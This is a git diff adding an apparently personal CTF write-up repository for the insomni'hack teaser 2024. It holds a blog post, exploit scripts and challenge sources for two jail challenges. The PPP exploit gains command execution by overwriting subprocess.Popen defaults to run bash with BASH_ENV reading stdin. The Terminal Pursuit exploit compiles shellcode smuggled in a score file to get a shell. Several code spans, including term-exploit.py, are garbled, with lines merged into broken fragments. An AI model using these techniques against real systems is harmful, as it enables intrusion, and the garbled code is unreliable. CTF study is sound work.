diff --git a/2024/inso/.gitignore b/2024/inso/.gitignore new file mode 100644 index 0000000..796b96d --- /dev/null +++ b/2024/inso/.gitignore @@ -0,0 +1 @@ +/build diff --git a/2024/inso/build.ninja b/2024/inso/build.ninja new file mode 100644 index 0000000..21e6819 --- /dev/null +++ b/2024/inso/build.ninja @@ -0,0 +1,17 @@ +builddir = build + +pandocflags = -M wf-embed-base=https://git.lain.faith/haskal/writeups/raw/branch/main/ -M wf-link-base=https://git.lain.faith/haskal/writeups/src/branch/main/ --filter writefreely-validate --wrap=none --strip-comments + +postid = temp + +rule pandoc + command = pandoc $pandocflags -o $out $in + description = pandoc $out + +rule upload + command = writefreely-cli $postid $in + description = upload $postid + +build $builddir/post-full.md: pandoc post.md +build upload: upload $builddir/post-full.md +build build: phony $builddir/post-full.md diff --git a/2024/inso/chals.png b/2024/inso/chals.png new file mode 100644 index 0000000..b6ec8da Binary files /dev/null and b/2024/inso/chals.png differ diff --git a/2024/inso/post.md b/2024/inso/post.md new file mode 100644 index 0000000..00265bc --- /dev/null +++ b/2024/inso/post.md @@ -0,0 +1,864 @@ +# insomni'hack teaser 2024 + +i, for one, am not afraid to seek answers to life's toughest questions + +like "how well can a team of 2 people do in a 24 hour ctf when they start almost 12 hours late" + +![a screenshot of all the challenges, we solved 8/14 not counting "welcome"](https://git.lain.faith/haskal/writeups/raw/branch/main/2024/inso/chals.png) + +this is like, not bad actually??? + +anyway, let's talk about jails + +- [misc: PPP](#ppp) +- [misc: terminal pursuit](#terminal-pursuit) + +## PPP + +(there was no flavor text for this one, it was just a flavor image of rhianna and i'm not gonna like +go download it and then rehost it here so just imagine that's what's here) + +[files](https://git.lain.faith/haskal/writeups/src/branch/main/2024/inso/ppp) + +we can see immediately that the flag is inaccessible to the challenge user, and the only way to get +it is to execute the command `/readflag Please` (immediately because i just like, ran the binary and +found out that's what it does. i didn't bother reversing it at all) + +here's the code for the challenge server + +```python +from os import popen +import hashlib, time, math, subprocess, json + + +def response(res): + print(res + ' | ' + popen('date').read()) + exit() + +def generate_nonce(): + current_time = time.time() + rounded_time = round(current_time / 60) * 60 # Round to the nearest 1 minutes (60 seconds) + return hashlib.sha256(str(int(rounded_time)).encode()).hexdigest() + +def is_valid_proof(data, nonce): + DIFFICULTY_LEVEL = 6 + guess_hash = hashlib.sha256(f'{data}{nonce}'.encode()).hexdigest() + return guess_hash[:DIFFICULTY_LEVEL] == '0' * DIFFICULTY_LEVEL + + +class Blacklist: + + def __init__(self, data, nonce): + self.data = data + self.nonce = nonce + + def get_data(self): + out = {} + out['data'] = self.data if 'data' in self.__dict__ else () + out['nonce'] = self.nonce if 'nonce' in self.__dict__ else () + return out + + +def add_to_blacklist(src, dst): + for key, value in src.items(): + if hasattr(dst, '__getitem__'): + if dst[key] and type(value) == dict: + add_to_blacklist(value, dst.get(key)) + else: + dst[key] = value + elif hasattr(dst, key) and type(value) == dict: + add_to_blacklist(value, getattr(dst, key)) + else: + setattr(dst, key, value) + +def lists_to_set(data): + if type(data) == dict: + res = {} + for key, value in data.items(): + res[key] = lists_to_set(value) + elif type(data) == list: + res = () + for value in data: + res = (*res, lists_to_set(value)) + else: + res = data + return res + +def is_blacklisted(json_input): + + bl_data = blacklist.get_data() + if json_input['data'] in bl_data['data']: + return True + if json_input['nonce'] in bl_data['nonce']: + return True + + json_input = lists_to_set(json_input) + add_to_blacklist(json_input, blacklist) + return False + + +if __name__ == '__main__': + + blacklist = Blacklist(['dd9ae2332089200c4d138f3ff5abfaac26b7d3a451edf49dc015b7a0a737c794'], ['2bfd99b0167eb0f400a1c6e54e0b81f374d6162b10148598810d5ff8ef21722d']) + + try: + json_input = json.loads(input('Prove your work 😼\n')) + except Exception: + response('no') + + if not isinstance(json_input, dict): + response('message') + + data = json_input.get('data') + nonce = json_input.get('nonce') + client_hash = json_input.get('hash') + + if not (data and nonce and client_hash): + response('Missing data, nonce, or hash') + + server_nonce = generate_nonce() + if server_nonce != nonce: + response('nonce error') + + if not is_valid_proof(data, nonce): + response('Proof of work is invalid') + + server_hash = hashlib.sha256(f'{data}{nonce}'.encode()).hexdigest() + if server_hash != client_hash: + response('Hash does not match') + + if is_blacklisted(json_input): + response('blacklisted PoW') + + response('Congratulation, You\'ve proved your work 🎷🐴') +``` + +there's a proof-of-work segment (sigh), checking that your input doesn't belong to a set of +disallowed inputs and then...seemingly nothing! + +### where's the primitive??? + +normally what i'll loosely call "pyjail" style challenges have some sort of core execution primitive +like doing an eval on user-supplied code, subject to some sandboxing, or maybe AST sanitization, or +perhaps being able to replace bytecode on function objects. this code is interesting because it +doesn't do any of that, yet we can assume that at some point we gain the ability to execute +`/readflag Please` to read the flag + +instead, after verifying the proof of work, it goes through the following functions + +- `is_blacklisted` + - transformed by `lists_to_set` + - this function converts any lists nested at any level in the data structure to tuples + - there's literally no need for this for normal functioning of the server, so we could + assume it's an important part of the solution. (this turns out to be correct) + - processed by `add_to_blacklist` + - this merges the user input with the `Blacklist` object instance recursively, handling + dicts and object attributes along the way + +when something looks weird it's worth thinking about it because that can help greatly narrow the +search space for a solution. in this case, we can assume that solutions would involve tuples +somehow, because we're given this primitive that serves no other useful purpose than to produce +tuples + +so the primitive is assignment to values at any depth of objects reachable from the starting object +instance, of any type supported by json + +the targets of this primitive are any object that can be found by recursively traversing using +- dict lookups +- attribute lookups + +and the values that can be changed or added are +- `None` +- strings +- ints and floats +- booleans +- dicts of any of this +- tuples of any of this + +an important thing we *can't* do is assign a value to a lookup for an existing other runtime value. +in other words, this is a write-only primitive + + +### fucking around in ipython + +a good approach to pyjails is press the `.` key and then hit tab a bunch of times in ipython. +seriously. so let's go do that for a second + +```python +Python 3.11.6 (main, Nov 14 2023, 09:36:21) [GCC 13.2.1 20230801] +Type 'copyright', 'credits' or 'license' for more information +IPython 8.18.1 -- An enhanced Interactive Python. Type '?' for help. + +[ins] In [1]: import ppp + +[ins] In [2]: obj = ppp.Blacklist(['x'], ['y']) + +[ins] In [3]: obj.__ +``` + +the object has its usual defined attributes, and then the set of python intrinsic double underscore +attributes. the goal here is to get a reference to anything interesting, with a specific focus on +stuff that is tuples + +unfortunately the object itself is not that interesting. `__class__` is a useful thing to get +references to other random stuff but we get stuck at the `__subclasses__()` barrier because that's a +function and we can't call functions. most of this stuff is also read-only, so that doesn't help us +either + +let's look at the function `get_data` + +```python +[ins] In [3]: obj.get_data.__ +``` + +i was expecting there to be like `__code__` in here but there *wasn't*. so i quickly learned that +this is a bound instance of the underlying function, which python has a dedicated object for, and +the underlying function can be accessed with `__func__` + +```python +[ins] In [3]: obj.get_data.__func__.__ +``` + +so there's the `__code__` attribute which can be used to replace the bytecode of the function, but +only if you call the `replace` function, the attributes can't be written directly. there's some +other stuff in here but it's mostly function calls and not that interesting. `__module__` would be +nice if it were a reference *to the actual module* and not just the name of it but oh well + +one thing i found here that is really interesting is `__defaults__` and `__kwdefaults__` + +### `__defaults__` + +`__defaults__` stores the default arguments for the function, if it was defined with default +arguments + +```python +[ins] In [1]: def my_func(a="default value"): + ...: print(a) + ...: + +[ins] In [2]: my_func.__defaults__ +Out[1]: ('default value',) +``` + +`__kwdefaults__` similarly does defaults for non-positional keyword arguments + +notice how `__defaults__` takes a tuple. *and it's settable* + +```python +[ins] In [3]: my_func.__defaults__ = ("lol hacked",) + +[ins] In [4]: my_func() +lol hacked +``` + +it's all coming together,,, + +unfortunately `get_data` doesn't take any arguments. so we'll have to find something else to do this +on + +### going deeper + +backtracking, there is one more useful key in the function's attributes: `__globals__` + +```python +[ins] In [3]: obj.get_data.__func__.__globals__ +{ + [...snip...] + 'popen': , + 'hashlib': , + 'time': , + 'math': , + 'subprocess': , + 'json': , + 'response': , + 'generate_nonce': , + 'is_valid_proof': , + 'Blacklist': ppp.Blacklist, + 'add_to_blacklist': , + 'lists_to_set': , + 'is_blacklisted': } +``` + +neat + +remember that the goal is the execute a command with an argument. taking a look at the actual `ppp` +module the only remotely similar thing is the call to `popen` in the `response` function. we also +see that `subprocess` is imported but not used (huh i wonder why that is,). so we have `popen` in +scope here let's try to bonk it + +```python +# VxWorks has no user space shell provided. As a result, running +# command in a shell can't be supported. +if sys.platform != 'vxworks': + # Supply os.popen() + def popen(cmd, mode="r", buffering=-1): + if not isinstance(cmd, str): + raise TypeError("invalid cmd type (%s, expected string)" % type(cmd)) + if mode not in ("r", "w"): + raise ValueError("invalid mode %r" % mode) + if buffering == 0 or buffering is None: + raise ValueError("popen() does not support unbuffered streams") + import subprocess + if mode == "r": + proc = subprocess.Popen(cmd, + shell=True, text=True, + stdout=subprocess.PIPE, + bufsize=buffering) + return _wrap_close(proc.stdout, proc) + else: + proc = subprocess.Popen(cmd, + shell=True, text=True, + stdin=subprocess.PIPE, + bufsize=buffering) + return _wrap_close(proc.stdin, proc) + +``` + +ok so let's just try to change the defaults + +```python +[ins] In [1]: from os import popen + +[ins] In [2]: popen.__defaults__ = ("/readflag Please", "r", -1) + +[ins] In [3]: popen +Out[3]: + +[ins] In [4]: popen("date").read() +Out[4]: 'Sun Jan 21 08:05:37 PM EST 2024\n' +``` + +so unfortunately when the cmd argument is provided, we can't override it using the defaults. this +makes sense + +`os.popen` uses `subprocess.Popen` internally. hey remember how `subprocess` is imported but never +used so it's in the `__globals__`?? wow that sure is convenient! + +let's set defaults on `subprocess.Popen` + +```python +class Popen: + # .... + def __init__(self, args, bufsize=-1, executable=None, + stdin=None, stdout=None, stderr=None, + preexec_fn=None, close_fds=True, + shell=False, cwd=None, env=None, universal_newlines=None, + startupinfo=None, creationflags=0, + restore_signals=True, start_new_session=False, + pass_fds=(), *, user=None, group=None, extra_groups=None, + encoding=None, errors=None, text=None, umask=-1, pipesize=-1, + process_group=None): + """Create new Popen instance.""" + # ... +``` + +what we are provided is `args`, `shell`, `text`, `stdout`, and `bufsize`, so we can't override +those. but we can assign a new default value to anything else + +at this point we could try the basic approach of setting `executable` to `/readflag`, but since +there is no control of the argument to `/readflag` this won't work. how else can we input a full +command with an argument? + +### to the bash man pages! + +one possible way to control the behavior of the shell that is launched (we can choose `bash` or the +default `sh` [`dash`] based on the `executable` parameter) is via environment variables + +so i opened up the man page for bash..........and then i immediately gave up and just asked +@rhelmot whether there was any cheese with bash environment variables you could do, and she offered +up `BASH_ENV` + +``` +BASH_ENV + If this parameter is set when bash is executing a shell script, its value is interpreted as a + filename containing commands to initialize the shell, as in ~/.bashrc. The value of BASH_ENV + is subjected to parameter expansion, command substitution, and arithmetic expansion before + being interpreted as a filename. PATH is not used to search for the resultant filename. +``` + +*unfortunately*, `BASH_ENV` needs to be a filename instead of just a list of commands. so to solve +the issue of having a file @rhelmot suggested `/proc/self/environ`. unfortunately this doesn't work +because the size of the file as reported by the kernel is 0, and bash actually uses that when +reading it, + +```bash +BASH_ENV=/proc/self/environ AAAA="$(printf '\n\necho hacked\n')" strace /bin/bash -c "date" +.... +openat(AT_FDCWD, "/proc/self/environ", O_RDONLY) = 3 +newfstatat(3, "", {st_mode=S_IFREG|0400, st_size=0, ...}, AT_EMPTY_PATH) = 0 +read(3, "", 0) = 0 +close(3) = 0 +.... +``` + +u_u + +however there is another thing we can do which is to just use stdin, because the original stdin is +still bound to the process that gets executed! so we can pass `BASH_ENV` as `/proc/self/fd/0` and +then provide the additional command to run as input. this also requires us to call `shutdown` on the +socket to the remote in order to close the stream + +### putting it together + +assembly of the final exploit: + +```python +popen_defaults = [-1, "/bin/bash", None, None, None, None, True, False, + None, {"BASH_ENV":"/proc/self/fd/0"}, None, None, 0, True, False, []] +``` + +this defines the defaults tuple that gets assigned to `Popen.__init__.__defaults__`, kept same as +the original except for executable `/bin/bash` and environment with `BASH_ENV` + +```python +for _ in tqdm.trange(50000000): + nonce = ppp.generate_nonce() + data = secrets.token_hex(16) + if ppp.is_valid_proof(data, nonce): + break +else: + raise Exception("oops") + +hash = hashlib.sha256(f'{data}{nonce}'.encode()).hexdigest() +``` + +this generates the proof of work. we just steal the original code's nonce generator and validation +function + +```python +obj = { + "data": data, + "nonce": nonce, + "hash": hash, + "get_data": { + "__func__": { + "__globals__": { + "subprocess": { + "Popen": { + "__init__": { + "__defaults__": popen_defaults + } + } + } + } + } + } +} + +payload = json.dumps(obj) +``` + +this assembles the payload with the proof of work along with the attribute we're setting + +the attribute written out is +`.get_data.__func__.__globals__["subprocess"].Popen.__init__.__defaults__` + +finally, we run the exploit + +```python +print("running") + +r = remote("ppp.insomnihack.ch", 12345) + +print(r.recvline()) +r.sendline(payload) +r.sendline("/readflag Please") +``` +and here we call `shutdown` to close the stdin stream on the remote +```python +r.shutdown('send') +r.interactive() +``` +normally, we should be done here, however this didn't seem to work on the remote + +### that's right, get nagled + +turns out the issue (probably?) was that somehow pwntools is not setting `TCP_NODELAY` and thus the +stage 1 and stage 2 payloads were probably getting combined into the same packet or somehow not sent +at all. i had intuition for nagling being a thing that exists so i didn't debug this issue at all i +just added + +```python +r.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) +``` + +this made the exploit work at the time, though when testing it further i realized it's still kind of +unstable, and i'm not actually sure how it managed to work the first time during the CTF. oh well. +it works locally so i'm not super concerned + + +## terminal pursuit + +it's a *makefile/c jail* + +> During COVID a friend of mine decided to learn coding by implementing a game he loves: Trivial +> Pursuit. He started with C but, finding it too difficult, he switched to python midway through. +> +> Terminal Pursuit is the result of his work. I take no responsibility at all, all what I have done +> was dockerize the thing, it may be broken, I'll let you figure that out... +> +> `nc terminal-pursuit.insomnihack.ch 1337` + +[files](https://git.lain.faith/haskal/writeups/src/branch/main/2024/inso/terminal) + +there's a bunch of jail stuff that ends up being kind of unimportant, but after taking a look we can +see the structure of the server +- `main.py`: contains the main interaction mode +- `quizzes/Makefile`: builds the quiz binaries (in C) +- `quizzes/*.c`: the quiz binaries +- `quizzes/pts.txt`: the score file appended to by the quiz binaries + +### main.py + +i've cut it down to just the most important parts + +```python +alphabet = "abcdefghijklmnopqrstuvwxyz/,:;[]_-." + +# .... + +def get_user_string(text): + print(text) + s = input("> ").lower() + for c in s: + if c not in alphabet: + exit(0) + return s[:7] +``` + +this defines the allowed user input. all inputs must be 7 characters or less, and come from the very +restricted alphabet + +```python +def run_quizz(username, category): + command = f"make run quizz=\"{prefix + category}\" username=\"{username}\"" + os.system(command) + +def play(): + username = get_user_string(gui.username) + category = get_user_string(gui.category) + run_quizz(username, category) +``` + +each quiz is run by prompting the user for their username, and the name of the quiz, and then +calling `make` with the parameters. the makefile then builds and runs the specified quiz binary + +```make +CC = gcc +CFLAGS = -x c -w + +ifeq ($(findstring .,$(quizz)),) + override quizz:=$(quizz).c +endif + +run: build + @./run "$(username)" + +build: + @$(CC) $(CFLAGS) "$(quizz)" -o run +``` + +the makefile also appends a `.c` to the quiz name if it doesn't already have a `.` in it. +additionally it uses the `-x c` parameter to force the source language to be C. it's interesting +that it does this because the provided quizzes, `books.c`, `ctf.c`, and `miscgod.c` are all +obviously C files, and the flag shouldn't be needed for those. let's make a note of this + +here's an example of a quiz, in `books.c` (note only `books.c` and `miscgod.c` are defined, `ctf.c` +doesn't contain any quiz code) + +```c +// ... + +const int LEN = 6; + +const char *QUESTIONS[] = { + // ... +}; + +const int SOLUTIONS[] = { 1, 1, 1, 1, 1, 1, }; + +/****************** + * Main + ******************/ +int main(int argc, char* argv[]) { + + setvbuf(stdout, NULL, _IONBF, 0); + + FILE *file; + + file = fopen(scores_file, "a"); + fprintf(file,"%s = {", argv[1]); + + int answer; + int score = 0; + for (int i = 0; i < LEN; i++) { + printf("%s\n", QUESTIONS[i]); + printf("Your answer: "); + scanf("%d", &answer); + + if (answer == SOLUTIONS[i]) { + score++; + printf("Correct!\n\n"); + } else { + printf("False!\n\n"); + } + + fprintf(file, "%d,", answer); + } + + fprintf(file, "%d}\n", score); + + fclose(file); +} +``` + +we can see that the quiz asks the user for a series of answer inputs, reads them with `scanf("%d")`, +and produces a score file consisting of the provided username, a list of the answers, and the final +score. for example, if we play `books` as username `user`, the resulting `pts.txt` file will look +like this +``` +user = {1,2,3,4,5,6,1} +``` + +and that's it. that's all you get + +### revisiting `-x c` + +since there's no obvious code execution primitives in the code, we can assume that some trickery is +needed to gain code execution. notice that `pts.txt` is in the `quizzes` directory. also, it's an +allowed input because it's 7 chars and only uses allowed characters. what happens if we try to run +the quiz `pts.txt`? + +``` +$ make username=user quizz=pts.txt +pts.txt:1:1: error: expected ‘,’ or ‘;’ at end of input + 1 | user = {1,2,3,4,5,6,1} + | ^~~~ +make: *** [Makefile:12: build] Error 1 +``` + +huh, neat + +the cflag `-x c` in the makefile ensures that gcc compiles `pts.txt` as if it was C source. now +clearly as it stands it's not quite C, but maybe we can make this work + +### when is main not a function + +one thing that stands out here is the ability to assign a variable as a compound integer +initializer. this can be used to define functions that are normally, y'know, functions, as arrays of +integers, and it still works when compiled because gcc puts the integer bytes into the binary, and +the integer bytes are valid instructions. see [main is usually a function. so then when is it +not?](https://jroweboy.github.io/c/asm/2015/01/26/when-is-main-not-a-function.html) + +that post comes up with the following + +```c +const int main[] = { + -443987883, 440, 113408, -1922629632, + 4149, 899584, 84869120, 15544, + 266023168, 1818576901, 1461743468, 1684828783, + -1017312735 +}; +``` + +this actually compiles, and interestingly enough just `main = { .... };` still compiles, but doesn't +run because `main` gets put in `.data` which is not normally executable. hence the `const` in the +above example. that actually causes main to get put in `.rodata` + +``` +gcc -x c -w - < +#include +#include +#include + +#define rv(x) register uint64_t x asm(#x) + +void test(){ + rv(rax) = SYS_mmap; + rv(rdi) = 0; + rv(rsi) = 4096; + rv(rdx) = PROT_READ | PROT_WRITE | PROT_EXEC; + rv(r10) = MAP_SHARED | MAP_ANONYMOUS; + rv(r8) = -1; + rv(r9) = 0; + asm volatile("syscall":"+r"(rax):"r"(rdi),"r"(rsi),"r"(rdx),"r"(r10), + "r"(r8),"r"(r9):"memory"); + void (*tmp)(void) = (void*)rax; + rdi = 0; + rsi = rax; + rax = 0; + rdx = 4096; + asm volatile("syscall":"+r"(rax):"r"(rdi),"r"(rsi),"r"(rdx):"memory"); + tmp(); +} +``` + +this produces +```asm +test: + mov eax, 9 + xor edi, edi + mov esi, 4096 + or r8, -1 + mov edx, 7 + mov r10d, 33 + xor r9d, r9d + syscall + mov edx, 4096 + mov rcx, rax + mov rsi, rax + xor eax, eax + syscall + jmp rcx +``` + +it's 49 bytes. damn + +there's a trick to save some more bytes which is to push `rax` after the `mmap` and `ret` at the +end. this gets us down to 46 bytes + +```asm + mov eax, 9 + xor edi, edi + mov esi, 4096 + or r8, -1 + mov edx, 7 + mov r10d, 33 + xor r9d, r9d + syscall + mov edx, 4096 + mov rsi, rax + push rax + xor eax, eax + syscall + ret +``` + +and then the second stage is just the normal pwntools shellcode, which again, i didn't realize would +have worked on its own. oh well + +### fixing the formatting + +so there's still the slight problem that the `pts.txt` file isn't quite valid C syntax as it stands. +we can fix that, because we're allowed the `/` character, which means we can insert comments. +additionally, we can use `;//` at the end to add the necessary semicolon (and comment out the rest) + +for this we can use the usernames `const//`, `int//`, `main[]`, and `;//`, so the final points file +will look like this + +```c +const// = { ... } +int// = { ... } +main[] = { shellcode int values here } +;// = { ... } +``` + +this becomes a valid C file in the right format + +## putting it together + +```python +stage1 = """ + mov eax, 9 + xor edi, edi + mov esi, 4096 + or r8, -1 + mov edx, 7 + mov r10d, 33 + xor r9d, r9d + syscall + mov edx, 4096 + mov rsi, rax + push rax + xor eax, eax + syscall + ret +""" +stage1_bin = asm(stage1) +assert len(stage1_bin) == 46 +stage1_bin = stage1_bin + b"\x00\x00" +stage1_payload = list(struct.unpack(" ", b"1") + r.sendlineafter(b"> ", game["username"].encode()) + r.sendlineafter(b"> ", game["quiz"].encode()) + if "answers" in game: + for answer in game["answers"]: + r.sendlineafter(b"answer: ", str(answer).encode()) + else: + r.send(game["rawinput"]) +``` +finally, we define the utility function to play a game from a given game specification, and then run +the exploit +```python +def run(host="localhost"): + r = remote(host, 1337) + for game in games: + play_game(r, game) + r.interactive() +``` +this should pop a shell, and from there the flag can be read out + +## conclusion + +ctfs can often have really bad misc categories. misc is known to be plagued with annoying gamey +challenges and this can make a ctf pretty frustrating to play. but i can solidly say that the +insomni'hack teaser wasn't one of these ctfs + +both of these misc challenges were really interesting and presented novel exploitation paths that +needed to work around very tight constraints. and solving them was a lot of fun + +``` +const int main[] = {15544, 268382464, 5}; +``` diff --git a/2024/inso/ppp-exploit.py b/2024/inso/ppp-exploit.py new file mode 100644 index 0000000..f99a529 --- /dev/null +++ b/2024/inso/ppp-exploit.py @@ -0,0 +1,53 @@ +from pwn import * +import socket + +import json + +import ppp +import secrets +import tqdm + +popen_defaults = [-1, "/bin/bash", None, None, None, None, True, False, + None, {"BASH_ENV":"/proc/self/fd/0"}, None, None, 0, True, False, []] + +for _ in tqdm.trange(50000000): + nonce = ppp.generate_nonce() + data = secrets.token_hex(16) + if ppp.is_valid_proof(data, nonce): + break +else: + raise Exception("oops") + +hash = hashlib.sha256(f'{data}{nonce}'.encode()).hexdigest() + +obj = { + "data": data, + "nonce": nonce, + "hash": hash, + "get_data": { + "__func__": { + "__globals__": { + "subprocess": { + "Popen": { + "__init__": { + "__defaults__": popen_defaults + } + } + } + } + } + } +} + +payload = json.dumps(obj) + +print("running") + +r = remote("ppp.insomnihack.ch", 12345) +r.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) + +print(r.recvline()) +r.sendline(payload) +r.sendline("/readflag Please") +r.shutdown('send') +r.interactive() diff --git a/2024/inso/ppp/dockerfile b/2024/inso/ppp/dockerfile new file mode 100644 index 0000000..cc8de5f --- /dev/null +++ b/2024/inso/ppp/dockerfile @@ -0,0 +1,17 @@ +FROM python:latest +RUN apt-get update && apt-get upgrade +RUN groupadd -g 1000 tototo +RUN useradd -g tototo -u 1000 tototo + +ADD ppp.py /app/ppp.py +ADD flag /flag +ADD readflag /readflag + +RUN chown root:root /readflag \ + && chown root:root /flag \ + && chmod 4555 /readflag \ + && chmod 400 /flag + + +USER tototo +CMD ["timeout", "3", "/usr/bin/python3", "/app/ppp.py"] diff --git a/2024/inso/ppp/flag b/2024/inso/ppp/flag new file mode 100644 index 0000000..58853f4 --- /dev/null +++ b/2024/inso/ppp/flag @@ -0,0 +1 @@ +redacted diff --git a/2024/inso/ppp/ppp.py b/2024/inso/ppp/ppp.py new file mode 100644 index 0000000..b27e05a --- /dev/null +++ b/2024/inso/ppp/ppp.py @@ -0,0 +1,104 @@ +from os import popen +import hashlib, time, math, subprocess, json + + +def response(res): + print(res + ' | ' + popen('date').read()) + exit() + +def generate_nonce(): + current_time = time.time() + rounded_time = round(current_time / 60) * 60 # Round to the nearest 1 minutes (60 seconds) + return hashlib.sha256(str(int(rounded_time)).encode()).hexdigest() + +def is_valid_proof(data, nonce): + DIFFICULTY_LEVEL = 6 + guess_hash = hashlib.sha256(f'{data}{nonce}'.encode()).hexdigest() + return guess_hash[:DIFFICULTY_LEVEL] == '0' * DIFFICULTY_LEVEL + + +class Blacklist: + + def __init__(self, data, nonce): + self.data = data + self.nonce = nonce + + def get_data(self): + out = {} + out['data'] = self.data if 'data' in self.__dict__ else () + out['nonce'] = self.nonce if 'nonce' in self.__dict__ else () + return out + + +def add_to_blacklist(src, dst): + for key, value in src.items(): + if hasattr(dst, '__getitem__'): + if dst[key] and type(value) == dict: + add_to_blacklist(value, dst.get(key)) + else: + dst[key] = value + elif hasattr(dst, key) and type(value) == dict: + add_to_blacklist(value, getattr(dst, key)) + else: + setattr(dst, key, value) + +def lists_to_set(data): + if type(data) == dict: + res = {} + for key, value in data.items(): + res[key] = lists_to_set(value) + elif type(data) == list: + res = () + for value in data: + res = (*res, lists_to_set(value)) + else: + res = data + return res + +def is_blacklisted(json_input): + + bl_data = blacklist.get_data() + if json_input['data'] in bl_data['data']: + return True + if json_input['nonce'] in bl_data['nonce']: + return True + + json_input = lists_to_set(json_input) + add_to_blacklist(json_input, blacklist) + return False + + +if __name__ == '__main__': + + blacklist = Blacklist(['dd9ae2332089200c4d138f3ff5abfaac26b7d3a451edf49dc015b7a0a737c794'], ['2bfd99b0167eb0f400a1c6e54e0b81f374d6162b10148598810d5ff8ef21722d']) + + try: + json_input = json.loads(input('Prove your work 😼\n')) + except Exception: + response('no') + + if not isinstance(json_input, dict): + response('message') + + data = json_input.get('data') + nonce = json_input.get('nonce') + client_hash = json_input.get('hash') + + if not (data and nonce and client_hash): + response('Missing data, nonce, or hash') + + server_nonce = generate_nonce() + if server_nonce != nonce: + response('nonce error') + + if not is_valid_proof(data, nonce): + response('Proof of work is invalid') + + server_hash = hashlib.sha256(f'{data}{nonce}'.encode()).hexdigest() + if server_hash != client_hash: + response('Hash does not match') + + if is_blacklisted(json_input): + response('blacklisted PoW') + + response('Congratulation, You\'ve proved your work 🎷🐴') diff --git a/2024/inso/ppp/readflag b/2024/inso/ppp/readflag new file mode 100755 index 0000000..5a28407 Binary files /dev/null and b/2024/inso/ppp/readflag differ diff --git a/2024/inso/term-exploit.py b/2024/inso/term-exploit.py new file mode 100644 index 0000000..b4b4824 --- /dev/null +++ b/2024/inso/term-exploit.py @@ -0,0 +1,52 @@ +from pwn import * +context.arch = 'amd64' + +import struct + +stage1 = """ + mov eax, 9 + xor edi, edi + mov esi, 4096 + or r8, -1 + mov edx, 7 + mov r10d, 33 + xor r9d, r9d + syscall + mov edx, 4096 + mov rsi, rax + push rax + xor eax, eax + syscall + ret +""" +stage1_bin = asm(stage1) +assert len(stage1_bin) == 46 +stage1_bin = stage1_bin + b"\x00\x00" +stage1_payload = list(struct.unpack(" ", b"1") + r.sendlineafter(b"> ", game["username"].encode()) + r.sendlineafter(b"> ", game["quiz"].encode()) + if "answers" in game: + for answer in game["answers"]: + r.sendlineafter(b"answer: ", str(answer).encode()) + else: + r.send(game["rawinput"]) + +def run(host="localhost"): + r = remote(host, 1337) + for game in games: + play_game(r, game) + r.interactive() diff --git a/2024/inso/terminal/Dockerfile b/2024/inso/terminal/Dockerfile new file mode 100644 index 0000000..0d802a2 --- /dev/null +++ b/2024/inso/terminal/Dockerfile @@ -0,0 +1,22 @@ +FROM ubuntu:18.04 AS builder + +RUN apt update && apt install -y --no-install-recommends \ + python3-minimal \ + libc6-dev \ + gcc \ + g++ \ + make + +RUN useradd -u 1000 ctf + +FROM pwn.red/jail +COPY --from=builder / /srv + +RUN mkdir -p /srv/app/quizzes +COPY gui.py flag.txt main.py /srv/app/ +COPY quizzes /srv/app/tmp + +COPY run.sh /srv/app/run +RUN chmod 755 /srv/app/run + +COPY jail-hook.sh /jail/hook.sh diff --git a/2024/inso/terminal/compose.yaml b/2024/inso/terminal/compose.yaml new file mode 100644 index 0000000..692df79 --- /dev/null +++ b/2024/inso/terminal/compose.yaml @@ -0,0 +1,16 @@ +services: + terminal-pursuit: + build: . + ports: + - 1337:5000 + cap_drop: + - all + cap_add: + - chown + - setuid + - setgid + - sys_admin + - mknod + security_opt: + - seccomp=unconfined + - apparmor=unconfined diff --git a/2024/inso/terminal/flag.txt b/2024/inso/terminal/flag.txt new file mode 100644 index 0000000..f63a799 --- /dev/null +++ b/2024/inso/terminal/flag.txt @@ -0,0 +1 @@ +INS{fake_flag} diff --git a/2024/inso/terminal/gui.py b/2024/inso/terminal/gui.py new file mode 100644 index 0000000..834da04 --- /dev/null +++ b/2024/inso/terminal/gui.py @@ -0,0 +1,48 @@ +menu = """ + ______________________ +| __________________ | +| | | | +| | Terminal pursuit | | +| |__________________| | +| | +| What to do? | +| 1) Play | +| 2) Scoreboards | +| 3) Exit | +|______________________| +""" + +category = """ + ______________________ +| __________________ | +| | | | +| | Terminal pursuit | | +| |__________________| | +| | +| Pick a category: | +| - books | +| - ctf | +| - miscgod | +|______________________| +""" + +username = """ + ______________________ +| __________________ | +| | | | +| | Terminal pursuit | | +| |__________________| | +| | +| Who is playing? | +|______________________| +""" + +scoreboard_head = """ + ================ + = Scoreboard = + ================ + """ + +scoreboard_tail = """ + ================ + """ diff --git a/2024/inso/terminal/jail-hook.sh b/2024/inso/terminal/jail-hook.sh new file mode 100644 index 0000000..40ab05d --- /dev/null +++ b/2024/inso/terminal/jail-hook.sh @@ -0,0 +1,3 @@ +#!/bin/sh +echo -n 'mode:LISTEN hostname:"app" cwd:"/app" port:5000 max_conns:0 max_conns_per_ip:1 time_limit:60 rlimit_as_type:HARD rlimit_cpu_type:HARD rlimit_fsize_type:HARD rlimit_nofile_type:HARD rlimit_fsize: 50 rlimit_nofile: 50 mount:{src:"/srv" dst:"/" is_bind:true nosuid:true nodev:true} cgroup_mem_max:20971520 cgroup_mem_swap_max:0 cgroup_cpu_ms_per_sec:100 cgroupv2_mount:"/jail/cgroup/unified/run" use_cgroupv2:true exec_bin:{path:"/app/run"} mount { dst: "/app/quizzes" fstype: "tmpfs" rw: true }' > /tmp/nsjail.cfg + diff --git a/2024/inso/terminal/main.py b/2024/inso/terminal/main.py new file mode 100755 index 0000000..8b4e15d --- /dev/null +++ b/2024/inso/terminal/main.py @@ -0,0 +1,67 @@ +#!/usr/bin/env python3 + +import string +import subprocess +import sys +import os + +import gui + +alphabet = "abcdefghijklmnopqrstuvwxyz/,:;[]_-." + +prefix = "/app/quizzes/" +results = prefix + "pts.txt" + +def menu(): + print(gui.menu) + + choice = int(input("> ")) + if choice != 1 and choice != 2: + exit(0) + + return choice + +def get_user_string(text): + print(text) + s = input("> ").lower() + for c in s: + if c not in alphabet: + exit(0) + return s[:7] + +def run_quizz(username, category): + command = f"make run quizz=\"{prefix + category}\" username=\"{username}\"" + os.system(command) + +def play(): + username = get_user_string(gui.username) + category = get_user_string(gui.category) + run_quizz(username, category) + +# TODO: improve and combine categories scores +def scoreboard(): + scores = {} + for line in open(results, 'r').readlines(): + 